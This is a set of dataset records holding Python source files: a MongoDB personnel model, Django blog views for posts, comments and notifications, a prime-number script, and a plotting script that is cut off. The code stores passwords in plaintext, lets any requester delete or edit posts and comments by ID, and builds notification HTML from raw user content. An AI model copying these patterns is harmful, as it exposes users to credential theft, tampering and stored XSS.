+{"seq_id":"253696244","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'ehsan'\n\nfrom bson import ObjectId\nimport json\nfrom bson import json_util\nfrom connections import database\n\n#noinspection PyBroadException\nclass Personnel():\n    __table_name = database.Personnel\n\n    __record_count = 0\n    __current_record = -1\n    __dataset = None\n\n    def __init__(self, name='', family='', personnel_id='', district='', username='', password=''):\n        self.__id = ''\n        self.name = name\n        self.family = family\n        self.personnel_id = personnel_id\n        self.district = district\n        self.username = username\n        self.password = password\n\n    def __len__(self):\n        return self.__record_count\n\n    def __str__(self):\n        return self.get_all_json()\n\n    def __getitem__(self, item):\n        if item > self.__record_count - 1 or item < -self.__record_count:\n            raise Exception('item index out of range')\n        if item < 0:\n            item = item + self.__record_count\n        return self.__get_json_record(self.__dataset[item])\n\n    @property\n    def eof(self):\n        return self.__current_record == self.__record_count or self.__record_count <= 0\n\n    @property\n    def record_count(self):\n        return self.__record_count\n\n    def set_id(self, _id=''):\n        if _id == '':\n            self.__id = ObjectId()\n        else:\n            self.__id = ObjectId(_id)\n\n    @property\n    def get_id(self):\n        #return self.__id\n        return json.loads(json.dumps(self.__id, default=json_util.default))['$oid']\n    def create(self):\n        if self.__id == '':\n            self.__id = ObjectId()\n        result = self.__table_name.update({'_id': self.__id}, {\n            '_id': self.__id,\n            'name': self.name,\n            'family': self.family,\n            'personnel_id': self.personnel_id,\n            'district': self.district,\n            'username': self.username,\n            'password': self.password,\n\n        },\n            upsert=True, multi=False)\n        return result['n'] > 0\n\n    def remove(self):\n        result = self.__table_name.remove({'_id': self.__id})\n        return result['n'] > 0\n\n    def find(self, _filter=None, page=-1, perpage=15, sort='_id', order=-1):\n        _filter = {} if not _filter else _filter\n        try:\n            self.__init__()\n            if page < 0:\n                self.__dataset = self.__table_name.find(_filter).sort([(sort, order)])\n            else:\n                self.__dataset = self.__table_name.find(_filter).skip(page *\n                                                                      perpage).limit(perpage).sort([(sort, order)])\n            self.__record_count = self.__dataset.count(True)\n            if self.__record_count > 0:\n                return self.first()\n        except:\n            return False\n\n    def load(self):\n        try:\n            self.__dataset = self.__table_name.find({'_id': self.__id})\n            self.__record_count = self.__dataset.count()\n            if self.__dataset.count() > 0:\n                return self.first()\n            return False\n        except:\n            return False\n\n    def first(self):\n        try:\n            self.__current_record = 0\n            return self.set_values()\n        except:\n            return False\n\n    def next(self):\n        try:\n            if not self.eof:\n                self.__current_record += 1\n                return self.set_values()\n            else:\n                return False\n        except:\n            return False\n\n    def previous(self):\n        try:\n            if self.__current_record > 0:\n                self.__current_record -= 1\n                return self.set_values()\n            else:\n                return False\n        except:\n            return False\n\n    def last(self):\n        try:\n            self.__current_record = self.__record_count - 1\n            return self.set_values()\n        except:\n            return False\n\n    def set_values(self):\n        try:\n            entry = self.__dataset[self.__current_record]\n            self.__id = entry['_id']\n            self.name = entry['name']\n            self.family = entry['family']\n            self.personnel_id = entry['personnel_id']\n            self.district = entry['district']\n            self.username = entry['username']\n            self.password = entry['password']\n\n            return True\n        except:\n            return False\n\n    def get_json(self, _json=True):\n        try:\n            json_supported = {'Integer': 1, 'Float': 0.0, 'String': 's', 'Boolean': True, 'Array': []}\n            dic = self.__dataset[self.__current_record]\n            for item in dic.items():\n                type_mach = [v for v in json_supported.values() if type(v) == type(item[1])]\n                if len(type_mach) == 0:\n                    try:\n                        dic[item[0]] = str(item[1])\n                    except:\n                        dic[item[0]] = Tools2.encode(item[1])\n            return json.dumps(dic, ensure_ascii=False) if _json else dic\n        except:\n            return json.dumps({}, ensure_ascii=False) if _json else {}\n\n    @staticmethod\n    def __get_json_record(record):\n        try:\n            json_supported = {'Integer': 1, 'Float': 0.0, 'String': 's', 'Boolean': True, 'Array': []}\n            for item in record.items():\n                type_mach = [v for v in json_supported.values() if type(v) == type(item[1])]\n                if len(type_mach) == 0:\n                    try:\n                        record[item[0]] = str(item[1])\n                    except:\n                        record[item[0]] = Tools2.encode(item[1])\n            return record\n        except:\n            return None\n\n    def get_all_json(self, _json=True):\n        try:\n            temp = []\n            for i in range(self.record_count):\n                r = self.__get_json_record(self.__dataset[i])\n                if r is not None:\n                    temp.append(r)\n            return json.dumps(temp, ensure_ascii=False) if _json else temp\n        except:\n            return json.dumps([], ensure_ascii=False) if _json else []","sub_path":"models/old/personnel_old.py","file_name":"personnel_old.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"72043035","text":"from django.shortcuts import render\n\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse, JsonResponse\nfrom django.core.paginator import Paginator\nimport math\nimport requests\nimport time\nimport datetime\nimport json\nimport os \n\nfrom django.contrib.auth import views as auth_views\nfrom django.views import generic\nfrom django.urls import reverse_lazy\nfrom django.core.files import File\n\n\nfrom blog.models import Posts,Likes,Comments,PostAttach,LikesComment,Replies,LikesReply,Views\nfrom account.models import CustomUser,Follows,Experience,Education,Visiter,Notification\nfrom chat.models import Room,Message\nfrom groups.models import Group,GroupToUserInvite,FollowsGroup,LikeGroup,ViewsGroup\nfrom pages.models import Page,PageToUserInvite,FollowsPage,LikePage,ViewsPage\n\nimport datetime\nfrom datetime import timedelta\nimport random\nimport string\nfrom django.contrib.auth.hashers import make_password\nfrom django.contrib.auth import login, authenticate, logout\nfrom PIL import Image\nfrom django.conf import settings\n\nfrom account.views import get_client_ip,get_geolocation_for_ip,get_random_string,get_curuser,get_users,get_users_following,get_following,get_followers,get_different_time,get_date_str,get_time_str\n\n\nPAGINATION_COUNT = 21\n\ndef get_date_ago(orgtime):\n    result = 0\n    curtime = datetime.datetime.now()\n    datetimeFormat = '%Y-%m-%d %H:%M:%S.%f'\n    date1 = orgtime.strftime('%Y-%m-%d %H:%M:%S.%f')\n    date2 = curtime.strftime('%Y-%m-%d %H:%M:%S.%f')\n    diff = datetime.datetime.strptime(date2, datetimeFormat)\\\n        - datetime.datetime.strptime(date1, datetimeFormat)  \n    result = int(diff.days)\n    return result\n\ndef get_selected_post(request):\n    data = {} \n    try:\n        id = request.GET.get('id')    \n        post = Posts.objects.get(id=id)   \n        user = request.user\n        data = {}    \n        attaches = []\n        temps = PostAttach.objects.filter(post_id=id)\n        for temp in temps:\n            attaches.append(temp.attachname)\n        data['post_id'] = id\n        data['content'] = post.content\n        data['visibleto'] = post.visibleto\n        data['attach'] = attaches            \n        return JsonResponse({'results':data})\n    except:\n        return JsonResponse({'results':data})\n\ndef add_like(request):\n    try:\n        user = request.user  \n        post_id = request.GET.get('id')\n        liked = Likes.objects.filter(user_id=user.id,post_id=post_id)\n        if liked : \n            liked.delete()\n        else :\n            row = Likes(user_id=user.id,post_id=post_id)\n            row.save()\n            thisPost = Posts.objects.get(id=post_id)\n            thisUser = CustomUser.objects.get(id=thisPost.user_id)\n            \n            if thisPost.content:\n                subject = thisUser.first_name+' '+thisUser.last_name+ ' liked your post <a href=\"\">' + thisPost.content + '</a>' \n            else:\n                subject = thisUser.first_name+' '+thisUser.last_name+ ' liked your post <a href=\"\">this post</a>' \n\n            body = ''\n            row_noti = Notification(user_id=thisUser.id,subject=subject,body=body)\n            row_noti.save()\n\n        return JsonResponse({'response':True})\n    except:\n        return JsonResponse({'response':False})\ndef add_like_comment(request):\n    try:\n        user = request.user  \n        comment_id = request.GET.get('id')\n        liked = LikesComment.objects.filter(user_id=user.id,comment_id=comment_id)\n        if liked : \n            liked.delete()\n        else :\n            row = LikesComment(user_id=user.id,comment_id=comment_id)\n            row.save()\n        return JsonResponse({'response':True})\n    except:\n        return JsonResponse({'response':False})\n\ndef add_like_reply(request):\n    try:\n        user = request.user  \n        rid = request.GET.get('rid')\n        liked = LikesReply.objects.filter(user_id=user.id,reply_id=rid)\n        if liked : \n            liked.delete()\n        else :\n            row = LikesReply(user_id=user.id,reply_id=rid)\n            row.save()\n        return JsonResponse({'response':True})\n    except:\n        return JsonResponse({'response':False})\n\n\ndef delete_post(request):\n    try:\n        post_id = request.GET.get('id')\n        PostAttach.objects.filter(post_id=post_id).delete() \n        Comments.objects.filter(post_id=post_id).delete()  \n        Comments.objects.filter(post_id=post_id).delete()  \n        Likes.objects.filter(post_id=post_id).delete() \n\n        row = Posts.objects.get(id=post_id)\n        row.delete()\n        return JsonResponse({'response':True})\n    except:\n        return redirect('/dashboard')\ndef delete_attach(request):\n    id = request.GET.get('id')\n    PostAttach.objects.get(id=id).delete()\n    return JsonResponse({'response':True})\n\ndef get_content_list(request):\n    posts = ''\n    results = []\n    pagenum = 0\n    try:\n        if not request.user.is_authenticated:\n            return redirect('/login')\n\n        user = request.user\n        currentPage = request.GET.get('currentPage')\n        where = request.GET.get('where')\n        \n        if where == 'profilepage' :                           \n            posts = Posts.objects.filter(user_id=user.id).order_by('-created_at')\n        elif where == 'dashboardpage': \n            useridarray=[]\n            useridarray.append(user.id)            \n            userarray = Follows.objects.filter(who=user.id)            \n            if userarray:\n                for item in userarray :\n                    if CustomUser.objects.get(id=item.whom):\n                        thisUser = CustomUser.objects.get(id=item.whom)\n                        if user.location == thisUser.location:\n                            useridarray.append(item.whom)\n            \n            posts = Posts.objects.filter(public='1',user_id__in=useridarray,group_id=0,page_id=0)|Posts.objects.filter(public='1',user_id__in=useridarray,visibleto='1').order_by('-created_at')\n\n        elif where == 'trending':\n            useridarray=[]\n            useridarray.append(user.id)\n            userarray = Follows.objects.filter(who=user.id)\n            \n            for item in userarray :\n                if CustomUser.objects.get(id=item.whom):\n                    thisUser = CustomUser.objects.get(id=item.whom)\n                    if user.location == thisUser.location:\n                        useridarray.append(item.whom)       \n                    else:\n                        pass    \n            \n            posts = Posts.objects.filter(public='1',user_id__in=useridarray,group_id=0,page_id=0)|Posts.objects.filter(public='1',user_id__in=useridarray,visibleto='1').order_by('-created_at')\n\n        elif request.GET.get('group_id'):\n            group_id = request.GET.get('group_id')\n            thisGroup = Group.objects.get(id=group_id)\n            if thisGroup.user_id == user.id:\n                posts = Posts.objects.filter(group_id=group_id).order_by('-created_at')\n            else:\n                if FollowsGroup.objects.filter(group_id=group_id,user_id=user.id):\n                    posts = Posts.objects.filter(group_id=group_id).order_by('-created_at')\n\n        elif request.GET.get('page_id'):\n            page_id = request.GET.get('page_id')            \n            thisPage = Page.objects.get(id=page_id)\n            if thisPage.user_id == user.id:\n                posts = Posts.objects.filter(page_id=page_id).order_by('-created_at')\n            else:\n                if FollowsPage.objects.filter(page_id=page_id,user_id=user.id):\n                    posts = Posts.objects.filter(page_id=page_id).order_by('-created_at')                    \n\n        else:  \n            \n            posts = Posts.objects.filter(user_id=where).order_by('-created_at')        \n        \n        pagenum = math.ceil(posts.count()/PAGINATION_COUNT)\n        paginator = Paginator(posts,PAGINATION_COUNT)   \n        resultscollection = paginator.get_page(currentPage) \n\n        for item in resultscollection:\n            data = {}\n            if item.user_id == user.id:\n                data['me'] = '1'\n            else:\n                data['me'] = '0'\n            posteduser = CustomUser.objects.get(id=item.user_id)\n            if posteduser.avatar.name :\n                data['avatar'] = posteduser.avatar.name\n            else :\n                data['avatar'] = 'avatar/user.png'\n            attaches = []\n            temps = PostAttach.objects.filter(post_id=item.id)\n            \n            for temp in temps:\n                attaches.append(temp.attachname)\n                \n            data['username'] = posteduser.username\n            data['fullname'] = posteduser.first_name +\" \"+posteduser.last_name\n            data['post_id'] = item.id\n            data['views'] = item.views\n            data['content'] = item.content\n            data['attach'] = attaches\n            data['attachname'] = ''\n            data['created_at'] = get_different_time(item.created_at)\n            data['likes'] = Likes.objects.filter(post_id=item.id).count()\n            data['comments'] = Comments.objects.filter(post_id=item.id).count()\n            data['liked'] = Likes.objects.filter(user_id=user.id,post_id=item.id).count()\n            data['public'] = item.public\n\n            if where == 'trending': \n                date_ago = get_date_ago(item.created_at)\n                if date_ago < 2:\n                    results.append(data)\n            else:                 \n                results.append(data)\n        return JsonResponse({'results':results,'pagenum':pagenum})\n    except:\n        return JsonResponse({'results':results,'pagenum':pagenum})\n\ndef store_post(request):    \n    try:\n\n        post_id = request.POST.get('post_id')\n        content = request.POST.get('content')       \n        if post_id:\n            post = Posts.objects.get(id=post_id)\n            post.content = content\n            post.created_at = datetime.datetime.now()\n            post.visibleto = request.POST.get('visibleto')\n            post.save()\n\n            attachname = request.POST.getlist('attachname[]')\n            old_attach = PostAttach.objects.filter(post_id=post_id)\n            for item in old_attach:\n                item.post_id = 0\n                item.save()\n            if attachname:\n                for item in attachname:  \n                    if PostAttach.objects.filter(attachname=item).first():                        \n                        attachrow = PostAttach.objects.filter(attachname=item).first()\n                        attachrow.post_id = post_id\n                        attachrow.save()  \n                    \n            return JsonResponse({'post_id':post_id})        \n        else:            \n            user = request.user    \n            attachname = request.POST.getlist('attachname[]')\n            \n            if request.POST.get('group_id'):\n                row = Posts(content=content,user_id=user.id,group_id=request.POST.get('group_id'),visibleto=request.POST.get('visibleto'))\n            elif request.POST.get('page_id'):\n                row = Posts(content=content,user_id=user.id,page_id=request.POST.get('page_id'),visibleto=request.POST.get('visibleto'))\n            else:\n                row = Posts(content=content,user_id=user.id,visibleto=request.POST.get('visibleto'))\n            row.save()\n            post_id = row.id\n            \n            if attachname:\n                for item in attachname:\n                    attachrow = PostAttach.objects.filter(attachname=item).first()\n                    attachrow.post_id = post_id\n                    attachrow.save()  \n\n            myallfollowers = Follows.objects.filter(whom=user.id)  \n            if myallfollowers:\n                for item in myallfollowers:                    \n                    if content:\n                        subject = user.first_name + ' ' + user.last_name+ ' posted <a href=\"\">' + content + '</a>' \n                    else:\n                        subject = user.first_name + ' ' + user.last_name+ ' posted <a href=\"\">this post</a>' \n\n                    body = ''\n                    row_noti = Notification(user_id=item.who,subject=subject,body=body)\n                    row_noti.save()\n\n        return JsonResponse({'post_id':post_id})\n\n    except:\n        return JsonResponse({'post_id':post_id})\ndef store_postattach(request):   \n    attachname = '' \n    try:\n        user = request.user    \n        attachname = request.FILES.get('attach').name\n        print(attachname)\n        row = PostAttach(post_id=0,attach=request.FILES.get('attach'),attachname=attachname)\n        row.save()    \n        attachname = str(row.attach) \n        row.attachname = attachname\n        row.thumb = request.FILES.get('attach')        \n        row.save()        \n        BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n        CONTENT_DIR = os.path.join(BASE_DIR, 'content')\n        CONTENT_DIR = os.path.join(CONTENT_DIR, 'media')\n        CONTENT_DIR = os.path.join(CONTENT_DIR, 'thumb')\n        filename = attachname.split('/')[1]\n        print(attachname)\n       \n        # print(CONTENT_DIR)\n        # img = Image.open(CONTENT_DIRfilename)\n        return JsonResponse({'attachname':attachname})\n    except:\n        return JsonResponse({'attachname':attachname})\n\ndef store_gif(request):\n    attachname = '' \n    try:\n        user = request.user    \n        name = request.GET.get('name')  \n        attachname ='gif/'+name\n        row = PostAttach(post_id=0,attachname=attachname)\n        row.save()  \n        \n        return JsonResponse({'attachname':attachname})\n    except:\n        return JsonResponse({'attachname':attachname})\n\ndef addcomment(request):\n    try:\n        user=request.user  \n        post_id = request.GET.get('post_id')      \n        row = Comments(user_id=user.id,post_id=post_id,content=request.GET.get('content'))\n        row.save()\n\n        thisPost = Posts.objects.get(id=post_id)\n        thisUser = CustomUser.objects.get(id=thisPost.user_id)\n        if thisPost.group_id:\n            thisGroup = Group.objects.get(id=thisPost.group_id)\n            subject = user.first_name+' '+user.last_name+ ' commented on your group <a href=\"\">' + thisGroup.title + '</a>'\n        elif thisPost.page_id:\n            thisPage = Page.objects.get(id=thisPost.page_id)\n            subject = user.first_name+' '+user.last_name+ ' commented on your page <a href=\"\">' + thisPage.title + '</a>'\n        else:\n            if thisPost.content:\n                subject = thisUser.first_name+' '+thisUser.last_name+ ' commented to your post <a href=\"\">' + thisPost.content + '</a>' \n            else:\n                subject = thisUser.first_name+' '+thisUser.last_name+ ' commented to your post <a href=\"\">this post</a>' \n\n        body = request.GET.get('content')\n        row_noti = Notification(user_id=thisUser.id,subject=subject,body=body)\n        row_noti.save()\n\n\n        return JsonResponse({'results':True,'cid':row.id,'pid':post_id})\n    except:\n        return JsonResponse({'results':False})\n\n\ndef addreply(request):\n    try:\n        user=request.user  \n        comment_id = request.GET.get('comment_id')      \n        row = Replies(user_id=user.id,comment_id=comment_id,content=request.GET.get('content'))\n        row.save()\n        thisComment = Comments.objects.get(id=comment_id)\n        thisUser = CustomUser.objects.get(id=thisComment.user_id)\n        thisPost = Posts.objects.get(id=thisComment.post_id)\n        if thisPost.content:\n            subject = thisUser.first_name+' '+thisUser.last_name+ ' replied to your post <a href=\"\">' + thisPost.content + '</a>' \n        else:\n            subject = thisUser.first_name+' '+thisUser.last_name+ ' replied to your post <a href=\"\">this post</a>' \n\n        body = request.GET.get('content')\n        row_noti = Notification(user_id=thisUser.id,subject=subject,body=body)\n        row_noti.save()\n\n        return JsonResponse({'results':True,'rid':row.id,'cid':comment_id})\n    except:\n        return JsonResponse({'results':False})\n\ndef deletecomment(request):\n    try:\n        user=request.user        \n        row = Comments.objects.get(id=request.GET.get('cid'))\n        row.delete()\n        return JsonResponse({'results':True})\n    except:\n        return JsonResponse({'results':False})\n\ndef deletereply(request):\n\n    try:\n        user=request.user        \n        row = Replies.objects.get(id=request.GET.get('rid'))\n        row.delete()\n        return JsonResponse({'results':True})\n    except:\n        return JsonResponse({'results':False})\n\ndef getcomments(request):\n    comments=[]\n    try:\n        user=request.user        \n        commentstemp = Comments.objects.filter(post_id=request.GET.get('pid')).order_by('-created_at')\n        for item in commentstemp:\n            data={}\n            data['user_id'] = item.user_id\n            thisUser = CustomUser.objects.get(id=item.user_id)\n            data['full_name'] = thisUser.first_name +\" \"+ thisUser.last_name\n            data['created_at'] = get_different_time(item.created_at) \n            if thisUser.avatar:\n                data['avatar']=thisUser.avatar.url  \n            else:\n                data['avatar']=\"\"\n            data['content'] = item.content\n            if item.user_id == user.id:\n                data['me'] = '1'\n            else:\n                data['me'] = '0'\n            data['cid'] = item.id\n            data['pid'] = item.post_id\n            if LikesComment.objects.filter(user_id=user.id,comment_id=item.id).count():\n                data['mylike'] = '1'\n            else:\n                data['mylike'] = '0'\n            data['likes'] = LikesComment.objects.filter(comment_id=item.id).count()\n            data['replies'] = Replies.objects.filter(comment_id=item.id).count()\n            comments.append(data)\n\n        return JsonResponse({'comments':comments})\n    except:\n        return JsonResponse({'comments':comments})\n\ndef getcomment(request):\n    data = ''\n    try:\n        cid = request.GET.get('cid')\n        data = Comments.objects.get(id=cid).content\n        return JsonResponse({'data':data})\n    except:\n        return JsonResponse({'data':data})\n\ndef updatecomment(request):    \n    try:\n        cid = request.GET.get('cid')\n        row = Comments.objects.get(id=cid)\n        row.content = request.GET.get('content')\n        row.save()\n        return JsonResponse({'results':True})\n    except:\n        return JsonResponse({'results':False})\n\ndef updatereply(request):    \n    try:\n        rid = request.GET.get('rid')\n        row = Replies.objects.get(id=rid)\n        row.content = request.GET.get('content')\n        row.save()\n        return JsonResponse({'results':True})\n    except:\n        return JsonResponse({'results':False})\n\ndef getreply(request):\n    data = ''\n    try:\n        rid = request.GET.get('rid')\n        data = Replies.objects.get(id=rid).content\n        return JsonResponse({'data':data})\n    except:\n        return JsonResponse({'data':data})\n\n\n\ndef getreplies(request):\n    replies=[]\n    try:\n        user=request.user        \n        repliestemp = Replies.objects.filter(comment_id=request.GET.get('cid')).order_by('-created_at')\n        \n        for item in repliestemp:\n            data={}\n            data['user_id'] = item.user_id\n            thisUser = CustomUser.objects.get(id=item.user_id)\n            if thisUser.avatar:\n                data['avatar']=thisUser.avatar.url  \n            else:\n                data['avatar']=\"\"\n            data['content'] = item.content\n            if item.user_id == user.id:\n                data['me'] = '1'\n            else:\n                data['me'] = '0'\n\n            if LikesReply.objects.filter(user_id=user.id,reply_id=item.id).count():\n                data['mylike'] = '1'\n            else:\n                data['mylike'] = '0'\n\n            data['full_name'] = thisUser.first_name +\" \"+ thisUser.last_name\n            data['created_at'] = get_different_time(item.created_at)\n            data['likes'] = LikesReply.objects.filter(reply_id=item.id).count()\n            data['rid'] = item.id\n            data['cid'] = item.comment_id\n            replies.append(data)\n\n        return JsonResponse({'replies':replies})\n    except:\n        return JsonResponse({'replies':replies})\n\ndef set_private(request):\n    try:\n        user = request.user  \n        post_id = request.GET.get('id')\n        row = Posts.objects.get(id=post_id)\n        if row.public == '1':\n            row.public = '0'\n            row.save()\n            return JsonResponse({'response':True,'status':'0'})\n        else:\n            row.public = '1'\n            row.save()\n            return JsonResponse({'response':True,'status':'1'})\n    except:\n        return JsonResponse({'response':False})\n\ndef set_view(request):\n    try:\n        pid = request.GET.get('pid')\n        user = request.user  \n        if Views.objects.filter(user_id=user.id,post_id=pid):\n            pass\n        else:\n            row=Views(user_id=user.id,post_id=pid)\n            row.save()\n            thispost = Posts.objects.get(id=pid)\n            thispost.views = thispost.views + 1\n            thispost.save()\n        return JsonResponse({'response':True})\n    except:\n        return JsonResponse({'response':False})","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"325756924","text":"n1 = 30\r\nn2 = 70\r\nlst1 = []\r\nlst2 = []\r\nlst3 = []\r\nlst4 = []\r\nfor i in range(n1,n2+1):\r\n    if i >1:\r\n\r\n        for a in range(2,i):\r\n            if (i%a) == 0:\r\n                break\r\n        else:\r\n            lst1.append(i)\r\nprint(lst1)\r\n\r\n\r\n\r\nfor a in lst1:\r\n    for b in lst1:\r\n        if a != b:\r\n            c = str(b)\r\n            d = str(a)\r\n            e = d + c\r\n            lst2.append(e)\r\n\r\n\r\nprint(lst2)\r\n\r\nfor i in lst2:\r\n    i = int(i)\r\n    for ii in range(2,i):\r\n        if (i%ii) == 0:\r\n            break\r\n    else:\r\n        lst3.append(i)\r\n\r\nfor v in lst3:\r\n    if v not in lst4:\r\n        lst4.append(v)\r\nprint(lst4)\r\nmaax = max(lst4)\r\nmiin = min(lst4)\r\n\r\nprint(miin)\r\nprint(maax)\r\nprint(len(lst4))\r\n\r\nfor i in range(len(lst4)-2):\r\n    sum1 = miin + maax\r\n    miin = maax\r\n    maax = sum1\r\n\r\nprint(sum1, end=\"\")\r\nprint()\r\nprint(len(lst4))\r\nprint(len(lst2))\r\n","sub_path":"prime_fobbonacci.py","file_name":"prime_fobbonacci.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"22688433","text":"\n\nfrom xai.brain.wordbase.nouns._crust import _CRUST\n\n#calss header\nclass _CRUSTS(_CRUST, ):\n\tdef __init__(self,): \n\t\t_CRUST.__init__(self)\n\t\tself.name = \"CRUSTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"crust\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_crusts.py","file_name":"_crusts.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"395193714","text":"import matplotlib.pyplot as plt\nimport matplotlib\nimport statistics\n\ndata_skipped = 0\nerr_sp = 1e10\n\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['savefig.bbox'] = 'tight'\nmatplotlib.rcParams['savefig.pad_inches'] = 0.01\nmatplotlib.rcParams['legend.loc'] = 'best'\nmatplotlib.rcParams['xtick.labelsize'] = 8\nmatplotlib.rcParams['ytick.labelsize'] = 8\n\n\ndef freq(li):\n    return len([x for x in li if x != 0]) / len(li)\n\n\ndef read(ztype, server, op, delay, low_delay, root_dir='.'):\n    d = \"{dir}/{t}_{s},{o},({d},{ld})\".format(dir=root_dir,\n                                              t=ztype, s=server, o=op, d=delay, ld=low_delay)\n    global data_skipped\n    ovhd = []\n    rmax = []\n    with open(d + \"/ovhd.csv\", \"r\") as file:\n        for line in file.readlines():\n            tmp = [float(x) for x in line.split(',')]\n            if tmp[0] > err_sp or tmp[1] > err_sp:\n                data_skipped += 1\n                continue\n            ovhd.append(tmp[1] / tmp[0])\n    with open(d + \"/max.csv\", \"r\") as file:\n        for line in file.readlines():\n            tmp = [float(x) for x in line.split(',')]\n            if tmp[1] > err_sp or tmp[3] > err_sp:\n                data_skipped += 1\n                continue\n            rmax.append(abs(tmp[1] - tmp[3]))\n    return rmax, ovhd\n\n\ndef cmp_or(name, directory, server=9, op=10000, delay=50, low_delay=10):\n    xlable = 'time: second'\n    ormax, oovhd = read(\"o\", server, op, delay, low_delay, root_dir=directory)\n    rrmax, rovhd = read(\"r\", server, op, delay, low_delay, root_dir=directory)\n    lmax = min(len(ormax), len(rrmax))\n    lovhd = min(len(oovhd), len(rovhd))\n    x1 = [i for i in range(lovhd)]\n    y1o = oovhd[:lovhd]\n    y1r = rovhd[:lovhd]\n    x2 = [i for i in range(lmax)]\n    y2o = ormax[:lmax]\n    y2r = rrmax[:lmax]\n\n    fig = plt.figure(figsize=(11, 4))\n\n    plt.subplot(1, 2, 1)\n    plot_line(y2o, y2r, x2, xlable, 'read max diff')\n\n    plt.subplot(1, 2, 2)\n    plot_line(y1o, y1r, x1, xlable, 'overhead: byte')\n\n    plt.tight_layout()\n    plt.savefig(\"{}.pdf\".format(name))\n    plt.close(fig)\n\n    print(name)\n    print(\"add-win\", statistics.mean(y2o), freq(y2o))\n    print(\"rmv-win\", statistics.mean(y2r), freq(y2r))\n\n\ndef preliminary_dispose(oms, oos, rms, ros):\n    om_avg = []\n    om_count = []\n    for m in oms:\n        om_avg.append(statistics.mean(m))\n        om_count.append(freq(m))\n    rm_avg = []\n    rm_count = []\n    for m in rms:\n        rm_avg.append(statistics.mean(m))\n        rm_count.append(freq(m))\n\n    oo_max = []\n    for o in oos:\n        oo_max.append(o[-1])\n    ro_max = []\n    for o in ros:\n        ro_max.append(o[-1])\n\n    return om_avg, rm_avg, om_count, rm_count, oo_max, ro_max\n\n\ndef plot_bar(o_data, r_data, name, x_lable, y_lable, s_name=None):\n    if s_name is None:\n        s_name = name\n    bar_width = 0.35\n    index1 = [x for x in range(len(name))]\n    index2 = [x + bar_width for x in range(len(name))]\n    index = [x + bar_width / 2 for x in range(len(name))]\n\n    l1 = plt.bar(index1, o_data, bar_width, tick_label=s_name)\n    l2 = plt.bar(index2, r_data, bar_width, tick_label=s_name)\n    plt.xlabel(x_lable)\n    plt.ylabel(y_lable)\n    plt.legend(handles=[l1, l2, ], labels=['Add-Win', 'Rmv-Win'])\n    plt.xticks(index)\n\n\ndef plot_line(o_data, r_data, name, x_lable, y_lable):\n    plt.plot(name, o_data, linestyle=\"-\", label=\"Add-Win\")\n    plt.plot(name, r_data, linestyle=\"-\", label=\"Rmv-Win\")\n    plt.xlabel(x_lable)\n    plt.ylabel(y_lable)\n    plt.legend()\n\n\ndef _cmp_generic(exp_settings, directory, x_paras=None, plot_func=None):\n    oms = []\n    oos = []\n    for setting in exp_settings:\n        setting[-1] = directory\n        m, o = read(\"o\", *setting)\n        oms.append(m)\n        oos.append(o)\n\n    rms = []\n    ros = []\n    for setting in exp_settings:\n        setting[-1] = directory\n        m, o = read(\"r\", *setting)\n        rms.append(m)\n        ros.append(o)\n\n    om_avg, rm_avg, om_count, rm_count, oo_max, ro_max = preliminary_dispose(\n        oms, oos, rms, ros)\n\n    if plot_func is not None and x_paras is not None:\n        plot_func(om_avg, rm_avg, om_count, rm_count, oo_max, ro_max, x_paras)\n    return om_avg, rm_avg, om_count, rm_count, oo_max, ro_max\n\n\ndef cmp_generic(x_paras, dirs, exp_settings, plot_func, low, high):\n    om_avg_collect = [[] for _ in range(len(x_paras))]\n    rm_avg_collect = [[] for _ in range(len(x_paras))]\n    om_count_collect = [[] for _ in range(len(x_paras))]\n    rm_count_collect = [[] for _ in range(len(x_paras))]\n    oo_max_collect = [[] for _ in range(len(x_paras))]\n    ro_max_collect = [[] for _ in range(len(x_paras))]\n\n    for setting in exp_settings:\n        setting.append(\"\")\n    for root_dir in dirs:\n        a, b, c, d, e, f = _cmp_generic(exp_settings, root_dir)\n        for i in range(len(x_paras)):\n            om_avg_collect[i].append(a[i])\n            rm_avg_collect[i].append(b[i])\n            om_count_collect[i].append(c[i])\n            rm_count_collect[i].append(d[i])\n            oo_max_collect[i].append(e[i])\n            ro_max_collect[i].append(f[i])\n\n    om_avg = []\n    rm_avg = []\n    om_count = []\n    rm_count = []\n    oo_max = []\n    ro_max = []\n    for i in range(len(x_paras)):\n        om_avg.append(statistics.mean(\n            om_avg_collect[i][low:(len(dirs) - high)]))\n        rm_avg.append(statistics.mean(\n            rm_avg_collect[i][low:(len(dirs) - high)]))\n        om_count.append(statistics.mean(\n            om_count_collect[i][low:(len(dirs) - high)]))\n        rm_count.append(statistics.mean(\n            rm_count_collect[i][low:(len(dirs) - high)]))\n        oo_max.append(statistics.mean(\n            oo_max_collect[i][low:(len(dirs) - high)]))\n        ro_max.append(statistics.mean(\n            ro_max_collect[i][low:(len(dirs) - high)]))\n    return plot_func(om_avg, rm_avg, om_count, rm_count, oo_max, ro_max, x_paras)\n\n\ndef cmp_delay(rounds, low=0, high=0):\n    delays = [\"{hd}ms,\\n{ld}ms\".format(\n        hd=20 + x * 40, ld=4 + x * 8) for x in range(10)]\n    dirs = [\"delay/{}\".format(x) for x in range(rounds)]\n    exp_settings = [[9, 10000, 20 + x * 40, 4 + x * 8] for x in range(10)]\n    return cmp_generic(delays, dirs, exp_settings, delay_plot, low, high)\n\n\ndef delay_plot(om_avg, rm_avg, om_count, rm_count, oo_max, ro_max, name):\n    xlable = 'latency: between DC, within DC'\n    pname = 'delay'\n\n    # fig = plt.figure(figsize=(18, 